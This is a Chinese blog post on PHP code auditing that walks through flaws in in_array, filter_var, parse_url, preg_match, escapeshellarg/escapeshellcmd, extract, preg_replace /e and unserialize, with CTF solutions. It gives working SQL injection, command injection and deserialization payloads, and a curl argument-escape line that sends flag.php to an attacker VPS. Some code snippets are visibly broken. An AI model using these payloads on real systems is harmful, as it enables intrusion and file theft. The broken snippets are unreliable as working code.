寒假到来,打算学习哈代码审计(主要了解函数漏洞),于是乎看了红日安全编写的代码审计.其中红日安全对cms的讲解挺好的,我就不多说了,想了解的可以点击上面的链接去看看。
看看php手册对该函数的描述
in_array :(PHP 4, PHP 5, PHP 7)
功能 :检查数组中是否存在某个值
定义 : bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack ,则返回 TRUE,否则返回 FALSE。
根据描述也就是说PHP在使用 in_array() 函数判断时如果没有设置第三个参数为True,就会将 类似7aaa 强制转换成数字7,再进行判断,也就是弱类型比较。根据该原理就有如下的变形
echo "in_array('5 or 1=1', array(1, 2, 3, 4, 5))----->";
var_dump(in_array('5 or 1=1', array(1, 2, 3, 4, 5)));
echo '
';
//true
echo "in_array('kaibro', array(0, 1, 2))----->";
var_dump(in_array('kaibro', array(0, 1, 2)));
echo '
';
//true
echo "in_array(array(), array('kai'=>false))---->";
var_dump(in_array(array(), array('kai'=>false)));
echo '
';
//true
echo "in_array(array(), array('kai'=>null))--->";
var_dump(in_array(array(), array('kai'=>null)));
echo '
';
//true
echo "in_array(array(), array('kai'=>0))---->";
var_dump(in_array(array(), array('kai'=>0)));
echo '
';
//false
echo "in_array(array(), array('kai'=>'bro'))---->";
var_dump(in_array(array(), array('kai'=>'bro')));
echo "
";
//false
echo "in_array('i', array('kai'=>true))";
var_dump(in_array('i', array('kai'=>true)));
echo "
";
//true
echo "in_array('ddd', array('kai'=>'bro'))------>";
var_dump(in_array('ddd', array('kai'=>'bro')));
echo "
";
//false
echo "in_array('ddd', array('kai'=>0))------>";
var_dump(in_array('ddd', array('kai'=>0)));
echo "
";
//true
echo "in_array('ddd', array('kai'=>1))----->";
var_dump(in_array('ddd', array('kai'=>1)));
echo "
";
//false
?>
//index.php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "";
foreach ($row as $key => $value) {
echo "$key
";
echo "$value
";
}
echo "
";
}
else{
die($conn->error);
}
?>
//config.php
$servername = "localhost";
$username = "fire";
$password = "fire";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
# 搭建CTF环境使用的sql语句
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
题解如下
这道题比较简单,传入的·id 参数经过stop_hack函数进行了处理,过滤了很多,但是没有过滤updatexml 函数以及extractvalue等报错函数,过滤了聚合函数,可以使用make_set,make_set 具体原理如下
make_set(x,str1,str2 )简单直白的来说,3的二进制为0011,倒过来为1100,所以取str1(a),str2(b),打印a,b.
具体列子如下
对于in_arrary,只要传入的第一个参数id为数字且在 $whitelist = range(1, $row[‘COUNT(*)’]);中就行,
所以最后最后解题的payload如下
http://localhost/index.php?id=5 and (select updatexml(1,make_set(3,’~’,(select flag from flag)),1))
看哈php手册对filter_var的描述
filter_var : (PHP 5 >= 5.2.0, PHP 7)
功能 :使用特定的过滤器过滤一个变量
定义 :mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )
如果第二个参数 用了FILTER_VALIDATE_URL 过滤器来判断是否是一个合法的url。可以用javascript伪协议进行绕过
演示代码
if(filter_var($_GET['url'],FILTER_VALIDATE_URL))
{
echo "匹配成功";
var_dump($_GET['url']);
}
?>
不是一个合法url也通过了检测
如果第二个·参数为FILTER_VALIDATE_EMAIL ,则 我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗fiter_var()使其认为我们仍然在双引号中,这样我们就可以绕过检测演示代码如下
if(filter_var('"\ not\ allow"@qq.com',FILTER_VALIDATE_EMAIL))
{
echo "匹配成功";
}
if(filter_var('\'is."not\ allow"@qq.com',FILTER_VALIDATE_EMAIL))
{
echo "匹配成功";
}
?>
看哈php手册对parse_url的描述
说明
parse_url ( string $url [, int $component = -1 ] ) : mixed
本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。
print_r(parse_url("http://www.baidu.com/index.php?id=1"));
?>
函数在处理传入的url时会出现问题具体看以下
var_dump(parse_url("//a/b")); #array(2) { ["host"]=> string(1) "a" ["path"]=> string(2) "/b" }
echo "
";
var_dump(parse_url('..//a/b/c:80')); #array(3) { ["host"]=> string(2) ".." ["port"]=> int(80) ["path"]=> string(10) "//a/b/c:80" }
echo "
";
var_dump(parse_url('///a.php?id=1')); #bool(false)
echo "
";
#PHP <7.0.0
#var_dump(parse_url('/a.php?id=1:80')); false
#PHP >7.0.0
var_dump(parse_url('/a.php?id=1:80'));#array(2) { ["path"]=> string(6) "/a.php" ["query"]=> string(7) "id=1:80" }
echo "
";
#php < 5.3 端口超过65535
var_dump(parse_url('http://kaibro.tw:87878'));#array(3) { ["scheme"]=> string(4) "http" ["host"]=> string(9) "kaibro.tw" ["port"]=> int(22342) }
#php> 5.3
var_dump(parse_url('http://kaibro.tw:87878'));#false
var_dump(parse_url("http://foo@localhost:[email protected]"));
//array(4) { ["scheme"]=> string(4) "http" ["host"]=> string(13) "www.baidu.com" ["user"]=> string(13) "foo@localhost" ["pass"]=> string(2) "80" }
?>
看哈php手册对preg_match的描述
说明
preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int
搜索subject与pattern给定的正则表达式的一个匹配.
第二個參數如果是陣列,PHP會把它串接成字串,导致匹配失败测试代码
$test = $_GET['txt'];
if(preg_match('[<>?]', $test))
{
die();
}
file_put_contents('output', $test);
?>
虽然运行报错。但生成了文件并写入了
严格匹配时候,可以用%0a绕过测试代码
$test = $_GET['txt'];
if(preg_match('/^ceshi$/', $test) && $_GET['txt']!="ceshi")
{
echo 123;
}
?>
正则引擎回溯导致正则匹配失效
一篇文章说明
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
本地测试
].*/is','
所以最后的payload为
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa + b'a' * 1000000)
}
res = requests.post('http://127.0.0.1/zhengze.php', files=files, allow_redirects=False)
print(res.text)
var_dump(preg_match('/union.+select/is','union/**/select admin//'.str_repeat('a',10000000)));
var_dump(preg_match('/union.+?select/is','union/*'.str_repeat('a',10000000).'*/select from admin'));
一道ctf
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = './data/';
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
payload利用Python 实现文件上传
import requests
from io import BytesIO
files = {
'file': BytesIO(b'aaa + b'a' * 1000000)
}
res = requests.post('http://127.0.0.1/zhengze.php', files=files, allow_redirects=False)
print(res.text)
ctf
// index.php
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
$site_info = parse_url($url);
if(preg_match('/sec-redclub.com$/',$site_info['host'])){
exec('curl "'.$site_info['host'].'"', $result);
echo "You have curl {$site_info['host']} successfully!
;
echo implode(' ', $result);
}
else{
die("Error: Host not allowed
");
}
}
else{
echo "Just curl sec-redclub.com!
For example:?url=http://sec-redclub.com
";
}
?>
// f1agi3hEre.php
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>
解题思路
看到exec函数,且参数可控,这题应该存在命令执行漏洞,
参数 过了filter_var,可以根据上面所说javascript伪协议绕过
看参数过了函数preg_match匹配了sec-redclub.com但preg_match未严格匹配(只匹配结尾,未匹配开始)则可以绕过如aaa.sec-redclub.com
综上所述则最后的解题playload为
127.0.0.1/5.php?url=javascript://";ls;"sec-redclub.com
http://127.0.0.1/5.php?url=javascript://";cat flaaaag.php;"sec-redclub.com
这样子可以绕过空格
http://127.0.0.1/5.php?url=javascript://";cat${IFS}flaaaag.php;"sec-redclub.com
看哈php手册对escapeshellarg的描述
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)
定义 :string escapeshellarg ( string $arg )
var_dump(escapeshellarg("sdfsf")); # 'sdfsf'
var_dump(escapeshellarg("sdf'sf"));# 'sdf'\''sf'
?>
看哈php手册对escapeshellarg的描述
escapeshellcmd — shell 元字符转义
功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
反斜线(\)会在以下字符之前插入: `|\?~<>^()[]{}$*, \x0A 和 \xFF。 ‘ 和 “ 仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。
定义 :string escapeshellcmd ( string $command)
print_r(escapeshellcmd("`whoami`"));
?>
2个函数都有转义功能,那具体的区别是什么呢,看测试代码
print_r(escapeshellcmd("who 'ami"));
print_r(escapeshellarg("who 'ami"));
print_r(escapeshellcmd("who''ami"));
print_r(escapeshellarg("who''ami"));
?>
可以看出对于单个单引号, escapeshellarg 函数转义后,会在字符串开始和结尾各加一个单引号,还会在被转义的单引号的左右各加一个单引号,但 escapeshellcmd 函数是直接加一个转义符,对于成对的单引号, escapeshellcmd 函数默认不转义,但 escapeshellarg 函数转义
$a = "127.0.0.1:9090' -v -d a=1";
$b = escapeshellarg($a);
$c =escapeshellcmd($a);
$cmd ="curl ".$c;
var_dump($b);
var_dump($c);
var_dump($cmd);
system($cmd);
?>
详细分析一下这个过程:
1 .传入的参数是
127.0.0.1:9090’ -v -d a=1
2.由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:
‘127.0.0.1:9090’’’ -v -d a=1’
3.接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1’ 中的单引号进行转义处理,结果如下所示:
‘127.0.0.1:9090’\\’’ -v -d a=1\’
4.由于第三步处理之后的payload中的 \ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分
向 127.0.0.1\ 发起请求,POST 数据为 a=1’
当127.0.0.1:9090’ -v -d a=1中没有单引号时,你会发现数据(a=1)没有提交
测试代码(测试流程与上面一样)
$url ="127.0.0.1:9090 -v -d a=1";
$a = escapeshellarg($url);
$cmd = escapeshellcmd($a);
System("curl ".$cmd)
?>
ctf
//index.php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
var_dump($url);
system("curl ".$url);
}
}
///var/www/html/flag.php
?>
// flag.php
$flag = "HRCTF{Are_y0u_maz1ng}";
?>
ctf解题思路
首先有部分暂时不看,看主要要绕过的点要满足 $_GET[‘flag’] !== $_GET[‘hongri’] && md5($_GET[‘flag’] ) == md5($_GET[‘hongri’]) 仔细看 md5($_GET[‘flag’] ) == md5($_GET[‘hongri’])为==则我们构造出2个0e开头的md5即可绕过也就是弱比较
MD5(’aabg7XSs’)==md5(‘QNKCDZO’)
但当传递?flag=aabg7XSs时,会触发waf函数也就是该行最后会退出
if($_GET) { waf($_GET); }
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
再看代码有unset,extract(想起变量覆盖漏洞),那么思路就明显了,首先unset($_GET)就不会执行if($_GET) { waf($_GET); },再通过extract注册$_GET变量就绕过了waf具体绕过如下
unset代码如下
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
echo '$__k=';
print_r($__k);
echo '
$__v=';
print_r($__v);
if(isset($$__k) && $$__k == $__v) {
echo '
$$__k=';
print_r($$__k);
echo "unset sucessful";
unset($$__k);
}
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
?>
首先 第一行 ,循环获取字符串 GET、POST、COOKIE ,并依次赋值给变量 $__R 。在 第二行 中先判断 $$__R 变量是否存在数据,如果存在,则继续判断超全局数组 GET、POST、COOKIE 中是否存在键值相等的,如果存在,则删除该变量
我们通过GET提交flag=123,接着通过 POST 请求提交 _GET[flag]=123,当开始遍历 $_POST 超全局数组的时候,$_k=_GET $__v=Array ( [flag] => 123 ) 所以 $$__k 就是 $_GET,即GET提交的值Array ( [flag] => 123 )此时 $$__k == $__v 成立,变量 $_GET就被 unset 了 ,就没有触发waf。总的来说就是接下来GET与POST传递的参数要如下图所示
接下来extract 把传递的_GET注册为$_GET,GET中传递的就有我们需要的参数等
extract($_POST, EXTR_SKIP);
在 curl 中存在 -F 提交表单的方法,也可以提交文件。 -F
GET
http://localhost/dd.php?flag=aabg7XSs&hongri=QNKCDZO&url=http://baidu.com/ -F file=@/var/www/html/2.txt -x vpsip:9999
POST
_GET[flag]=aabg7XSs&_GET[hongri]=QNKCDZO&_GET[url]=http://baidu.com/ -F file=@/var/www/html/2.txt -x vpsip:9999
发现成功,监听到文件,并且看到了内容
但是去掉注释escapeshellarg escapeshellcmd并不成功,这就要用到上面escapeshellarg escapeshellcmd结合所导致的问题了(参数逃逸),具体看上面。所以最后的playload为
GET
http://localhost/dd.php?flag=aabg7XSs&hongri=QNKCDZO&url=http://baidu.com/’ -F file=@/var/www/html/flag.php -x vpsip:9999
POST
_GET[flag]=aabg7XSs&_GET[hongri]=QNKCDZO&_GET[url]=http://baidu.com/’ -F file=@/var/www/html/flag.php -x vpsip:9999
实际传入的为
‘http://www.baidu.com/’\\’’ -F file=@/var/www/html/flag.php -x vpsip:9999\’
最后结果
这2个函数如果使用不当,会导致变量覆盖漏洞(变量覆盖指的是用我们自定义的参数值替换程序原有的变量值)
extract(array,extract_rules,prefix)
说明
extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] ) : int
本函数用来将变量从数组中导入到当前的符号表中。
检查每个键名看是否可以作为一个合法的变量名,同时也检查和符号表中已有的变量名的冲突。
$a=1;
$b=array('a'=>'sdfsaf');
extract($b);
print_r($a);
?>
parse_str
parse_str — 将字符串解析成多个变量
说明
parse_str ( string $encoded_string [, array &$result ] ) : void
如果 encoded_string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
参数
encoded_string
输入的字符串。
result
第一个参数是必需的,代表 要解析注册成变量的字符串。第二个参数是一个数组,当其存在时,注册的变量会放到这个数组里,但是如果数组原来就存在相同的键,则会覆盖掉原来的键值。
函数测试
$a='eee';
parse_str("a=fff");
print_r($a);
?>
测试结果
parse_str还有一个特点
字符串如果有空格与.会被变成底线
parse_str("na.me=kaibro&pass wd=ggininder",$test);
var_dump($test);
?>
说明
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
搜索subject中匹配pattern的部分, 以replacement进行替换。
函数传入/e修饰符时,如果第二个参数可控,会产生代码执行漏洞。
PHP 5.5.0 起, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “\e” 也无法起效。7.7后使用preg_replace_callback()
代码演示
preg_replace("/test/e",$_GET[1],"jutst test");
?>
function com($a,$b){
return preg_replace('/('.$a.')/ei','strtolower("\\1")',$b);
}
foreach($_GET as $a=>$b)
{
echo com($a,$b)."\n";
}
?>
解题
preg_replace 使用了 /e 模式,导致可以代码执行,但是第二个参数是不可控的,如何执行?
上面的函数的第二个代码是strtolower("\1"),当中的 \\1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义,我们来看看 W3Cschool 中对其的描述:
反向引用
对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。(可能优点不懂,看下面演示)
所以这里的 \1 实际上指定的是第一个子匹配项,我们拿playload解释
官方 payload 为: /?.*={${phpinfo()}},红日安全给出的playload是 : /?\S*={${phpinfo()}},这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效
测试代码
var_dump($_GET);
?>
来到题目代码,我们先把e去掉看匹配结果是什么
等于把\1的位置替换为了${phpinfo()}
我们然后传入/?\S*=phpinfo(),结果为
我们以上传入的2种都加上\e试试
传入/?\S*={${phpinfo()}} 相当与执行的strtolower("{${phpinfo()}}")
传入 \S*=phpinfo() 相当于执行的strtolower(“phpinfo()”)
为什么呢?
这可能跟php变量有关,在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)(报如下notice)
直接传入/S*=phpinfo();执行strtolower(“phpinfo()”),phpinfo()仅仅是一串字符串,所以返回phpinfo()字符串
对应的还有许多可以代码执行与命令执行的函数,审计代码时候要多关注
eval(),assert(), system(),preg_replace(), create_function(), call_user_func(), call_user_func_array(),array_map(),ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()
那么什么是序列化呢,序列化说通俗点就是把一个对象变成可以传输的字符串(通过serialize()函数实现),而反序列化就是把那串可以传输的字符串再变回对象(通过unserialize()函数实现)
序列化代码演示
class a{
public $b=123;
public $c=456;
public function aa()
{
md5(1);
}
}
$d = new a();
echo serialize($d);
?>
可以看出,其中存储着对象属性的值,当反序列化时候,会对反序列化后产生的新的对象相对应的属性赋值
O:1:“a”:2:{s:1:“b”;i:123;s:1:“c”;i:456;}
反序列化代码演示
class a{
public $d="789";
public $c="2222";
public function show()
{
echo $this->d;
}
}
$ff='O:1:"a":2:{s:1:"d";s:3:"123";s:1:"c";s:4:"4567";}';
$gg = unserialize($ff);
$gg->show();
?>
结果产生的对象$gg中$d的值为123
在实际的情况和ctf中,我们无法直接调用类中的函数,但PHP在满足一定的条件下,会自动触发一些函数的调用,该类函数,我们称为魔术方法。通过可控的类变量,触发自动调用的魔术方法,以及魔术方法中存在的可利用点,进而形成反序列化漏洞的利用,其中可能会出现的魔术方法
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
其中__wakeup()存在一个缺陷,如果被反序列话的字符串出现问题时,会使得__wakeup失效,有时候反序列化也会失败,具体看以下代码演示
__wakeup()缺陷演示代码
<meta charset='utf-8'>
class a{
public $d="789";
public $c="2222";
public function show()
{
echo $this->d;
}
public function __wakeup()
{
echo "sucessfull";
}
public function __destruct()
{
echo $this->c;
}
}
$tt='O:1:"a":2:{s:1:"d";s:3:"123";s:1:"c";s:4:"4567";}';
$ff='O:1:"a":3:{s:1:"d";s:3:"123";s:1:"c";s:4:"4567";}'; //2变为了3
$hh='O:1:"a":2:{s:1:"d";s:4:"123";s:1:"c";s:4:"4567";}';//3变为4
echo "反序列化成功,__wakeup执行--->";
unserialize($tt);
echo "反序列化成功,__wakeup不执行--->";
unserialize($ff);
echo "反序列化不成功,__wakeup不执行--->";
unserialize($hh);
?>
class Template{
public $cacheFile='/tmp/2.txt';
public $template='welcome %s';
public function __construct($data=null)
{
$data = $this->loadDate($data);
}
public function loadDate($data)
{
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data))
{
return unserialize($data);
}
return [];
}
public function createCache($file=null,$pl=null)
{
$file = $this->cacheFile;
$pl =$this->template;
file_put_contents($file,$pl);
}
function __destruct()
{
$this->createCache();
}
}
new Template($_GET['data']);
?>
这一题比较简单
loadData() 函数中,我们发现了 unserialize 函数对传入的 $data 变量进行了反序列。在反序列化前,对变量内容进行了判断
第一个if,截取前两个字符,判断反序列化内容是否为对象,如果为对象,返回为空。php可反序列化类型有String,Integer,Boolean,Null,Array,Object。去除掉Object后,考虑采用数组中存储对象进行绕过。在对象被销毁时候调用__destruct(),最后会调用createCache写入文件,构造以下反序列化内容
class Template{
public $cacheFile='./test.php';
public $template='';
}
$temp =new Template();
$test=Array($temp);
print(serialize($test));
?>
!preg_match('/O:\d:/', $data)
http://127.0.0.1/ceshi/config.php?data=a:1:{i:0;O:%2b8:“Template”:2:{s:9:“cacheFile”;s:10:"./test.php";s:8:“template”;s:19:"";}}
include "config.php";
class HITCON{
public $method;
public $args;
public $conn;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
$this->__conn();
}
function __conn() {
global $db_host, $db_name, $db_user, $db_pass, $DEBUG;
if (!$this->conn)
$this->conn = mysql_connect($db_host, $db_user, $db_pass);
mysql_select_db($db_name, $this->conn);
if ($DEBUG) {
$sql = "DROP TABLE IF EXISTS users";
$this->__query($sql, $back=false);
$sql = "CREATE TABLE IF NOT EXISTS users (username VARCHAR(64),
password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8";
$this->__query($sql, $back=false);
$sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";
$this->__query($sql, $back=false);
}
mysql_query("SET names utf8");
mysql_query("SET sql_mode = 'strict_all_tables'");
}
function __query($sql, $back=true) {
$result = @mysql_query($sql);
if ($back) {
return @mysql_fetch_object($result);
}
}
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);
}
else {
$this->__die("sorry!");
}
}
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}
function __die($msg) {
$this->__close();
header("Content-Type: application/json");
die( json_encode( array("msg"=> $msg) ) );
}
function __close() {
mysql_close($this->conn);
}
function source() {
highlight_file(__FILE__);
}
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = strtolower(trim(mysql_escape_string($v)));
}
}
}
class SoFun{
public $file='index.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}
?>
$db_host = 'localhost';
$db_name = 'root';
$db_user = 'root';
$db_pass = '123';
$DEBUG = 'xx';
?>
// flag.php
!defined('IN_FLAG') && exit('Access Denied');
echo "flag{un3eri@liz3_i3_s0_fun}";
?>
首先我们把代码分为几段,先看看代码作用
第一段
class SoFun{
public $file='index.php';
function __destruct(){
if(!empty($this->file)) {
include $this->file;
}
}
function __wakeup(){
$this-> file='index.php';
}
}
if(isset($_GET["data"])) {
@unserialize($_GET["data"]);
}
else {
new HITCON("source", array());
}
这段代码有include,结合unserialize,可以造成文件包含漏洞,但构造后的结果与直接访问结果是一样的.
再仔细看代码,发现,如果按照正常流程走会走这里
new HITCON(“source”, array());,$method=source 、$args=array(),最后会调用魔术方法__destruct()(该方法调用时间以及利用,可以看哈上文),从而调用相应的函数,并且传递相应的参数给该函数,具体可以去看哈call_user_func_array()函数的功能
第二段
function __destruct() {
$this->__conn();
if (in_array($this->method, array("login", "source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
}
else {
$this->__die("What do you do?");
}
$this->__close();
}
上面代码 if (in_array($this->method, array(“login”, “source”)))引起了我的注意,既然source()函数已经有了具体功能,且对我们没什么作用,那么暗示了我们要想办法调用login()函数,刚好结尾的unserialize与上文代码中___destruct魔术方法结合,可以为 $method $args赋值(反序列化漏洞),并通过call_user_func_array()调用login()函数
来看到login函数
function login() {
list($username, $password) = func_get_args();
$sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, md5($password));
$obj = $this->__query($sql);
if ( $obj != false ) {
define('IN_FLAG', TRUE);
$this->loadData($obj->role);//调用loadData
}
else {
$this->__die("sorry!");
}
}
login函数中,接收函数传递的值username,password,然后进行sql查询,然后如果查询成功,调用loadData函数
function loadData($data) {
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:/', $data)) {
return unserialize($data);
}
return [];
}
loadData函数中进行了第二次unserialize,而这个unserialize就可以结合第一段代码的中的include 包含flag.php,那么unserialize($data) $data是来自login()函数进行sql查询role字段数据的结果($obj->role),而这个sql查询是存在sql注入的,可以这样控制查出的数据为自己需要的数据
可以看出role是自己可以随意控制的,只要把sql注入语句通过第一个unserialize(反序列化时候)把sql注入语句传入给$args,login函数中func_get_args()就会为username赋值
那么思路很清晰了,接下来构造playload
先生成第二个unserialize数据如下
class SoFun{
public $file='flag.php';
}
$a = new SoFun();
print(serialize(Array($a)));
?>
a:1:{i:0;O:5:“SoFun”:1:{s:4:“file”;s:8:“flag.php”;}}
第一个unserialize数据如下
class HITCON{
public $method='login';
public $args=array('username'=>'1\' union select 1,2,\'a:1:{i:0;O:+5:"SoFun":1:{s:4:"file";s:8:"flag.php";}}\'#','password'=>'234');
}
echo serialize(new HITCON());
?>
生成结果如下
O:6:"HITCON":2:{s:6:"method";s:5:"login";s:4:"args";a:2:{s:8:"username";s:76:"1' union select 1,2,'a:1:{i:0;O:+5:"SoFun":1:{s:4:"file";s:8:"flag.php";}}'#";s:8:"password";s:3:"234";}}
最后playload如下
http://127.0.0.1/ceshi/?data=O:6:“HITCON”:3:{s:6:“method”;s:5:“login”;s:4:“args”;a:2:{s:8:“username”;s:76:“1’ union select 1,2,‘a:1:{i:0;O:%2b5:“SoFun”:2:{s:4:“file”;s:8:“flag.php”;}}’%23”;s:8:“password”;s:3:“234”;}}
其中最后的playload与生成的不同是因为在二次unserialize时候,在执行___destruct都需要先绕过__wakeup(上文讲过),第一次unserialize时候 ,__wakeup对注入进行了过滤,第二次应该明白就不多说了。添加+号上面也有说明,要编码
直接看图
$password = $_GET['password'];
print($password + 1);
echo "
";
print(intval($password));
echo "
";
print(intval($password + 1));
?>
intval()在处理16进制时存在问题,当16进制+1时php会强制转换,然后再Intval后是正常的
参考链接
https://github.com/hongriSec/PHP-Audit-Labs
https://github.com/w181496/Web-CTF-Cheatsheet
https://xz.aliyun.com/t/2557